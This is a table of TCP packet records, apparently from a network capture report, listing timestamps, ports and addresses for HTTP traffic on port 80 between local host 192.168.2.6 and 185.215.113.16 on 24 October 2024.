Oct 24, 2024 18:08:20.205512047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.205519915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.205533028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.205537081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.205549955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.205555916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.205566883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.205584049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.205590010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.205610037 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.206442118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.206469059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.206485033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.206491947 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.206500053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.206516027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.206630945 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368257999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368292093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368339062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368366003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368366957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368386030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368401051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368416071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368432045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368444920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368468046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368484020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368499994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368514061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368530035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368545055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368561029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368577957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368582010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368582010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368582010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368582010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368582010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368596077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368612051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368617058 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368627071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368633986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368643999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368664026 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368665934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368680000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368695021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368711948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368714094 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368733883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368735075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368751049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368768930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368864059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368877888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368886948 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368896008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368911028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368916035 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368927002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368942022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368952990 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.368969917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368984938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.368992090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.369000912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369024038 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.369029045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369045019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369051933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369066954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369081974 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369091034 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.369097948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369113922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369122028 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.369132996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369148016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369153976 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.369163990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369179010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369189978 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.369195938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369215012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369216919 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.369388103 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.369682074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369787931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369805098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369818926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369844913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369860888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369867086 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.369879007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369894981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369900942 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.369910002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369925022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369935036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.369941950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369956970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369962931 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.369976044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369993925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.369999886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.370786905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.479413033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.479548931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.479583979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.479620934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.479619980 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.479655981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.479682922 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.479690075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.479723930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.479757071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.480979919 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.487571001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.487626076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.487660885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.487694979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.487704039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.487739086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.487776041 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.487792015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.487827063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.487878084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.487914085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.487946033 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.487946987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.488003016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.488035917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.488054037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.488090038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.488121986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.488121986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.488157034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.488189936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.488192081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.488228083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.488256931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.488262892 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.488291979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.488323927 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.488325119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.490106106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.517076015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517148972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517198086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517232895 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.517250061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517287016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517318964 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.517321110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517357111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517395973 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.517410040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517445087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517478943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517486095 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.517538071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517571926 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.517591000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517626047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517657995 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.517658949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517694950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517724991 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.517749071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517787933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517819881 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.517824888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517859936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517891884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517893076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.517925978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517959118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.517960072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.517992973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518021107 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.518024921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518060923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518091917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.518094063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518129110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518162012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518162012 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.518198013 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518229961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518230915 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.518265009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518296957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.518296957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518331051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518363953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518366098 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.518400908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518433094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518434048 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.518466949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518500090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.518500090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518534899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518567085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.518568039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518604040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518630981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518639088 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.518670082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518701077 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.518702984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518737078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.518769979 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.518773079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.522798061 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.555222034 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.598900080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.598944902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.599001884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.599036932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.599071026 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.599107027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.599143028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.599158049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.599158049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.599176884 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.599220037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.599250078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.599291086 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.887516975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887553930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887572050 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887587070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887614965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887617111 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.887639999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887643099 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.887655973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887670994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887684107 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.887689114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887701988 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.887705088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887720108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887743950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.887746096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887762070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887777090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887784004 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.887793064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887808084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887810946 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.887830019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887852907 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.887859106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887881994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887907982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887916088 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.887924910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887939930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887943029 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.887955904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887970924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.887989044 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.887996912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888010979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888014078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888027906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888041973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888044119 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888057947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888072968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888087988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888091087 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888103962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888112068 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888124943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888139963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888142109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888164997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888181925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888189077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888204098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888221025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888221025 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888237000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888251066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888264894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888267994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888287067 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888293028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888309002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888324976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888328075 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888340950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888354063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888360977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888379097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888384104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888396025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888411999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888427019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888442039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888446093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888464928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888473034 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888478994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888494015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888503075 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888506889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888523102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888528109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888539076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888556004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888567924 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888571024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888585091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888595104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888601065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888617039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888633013 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888636112 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888653994 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888660908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888689041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888695955 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888704062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888720036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888735056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888751030 CEST	80	49744	185.215.113.16	192.168.2.6
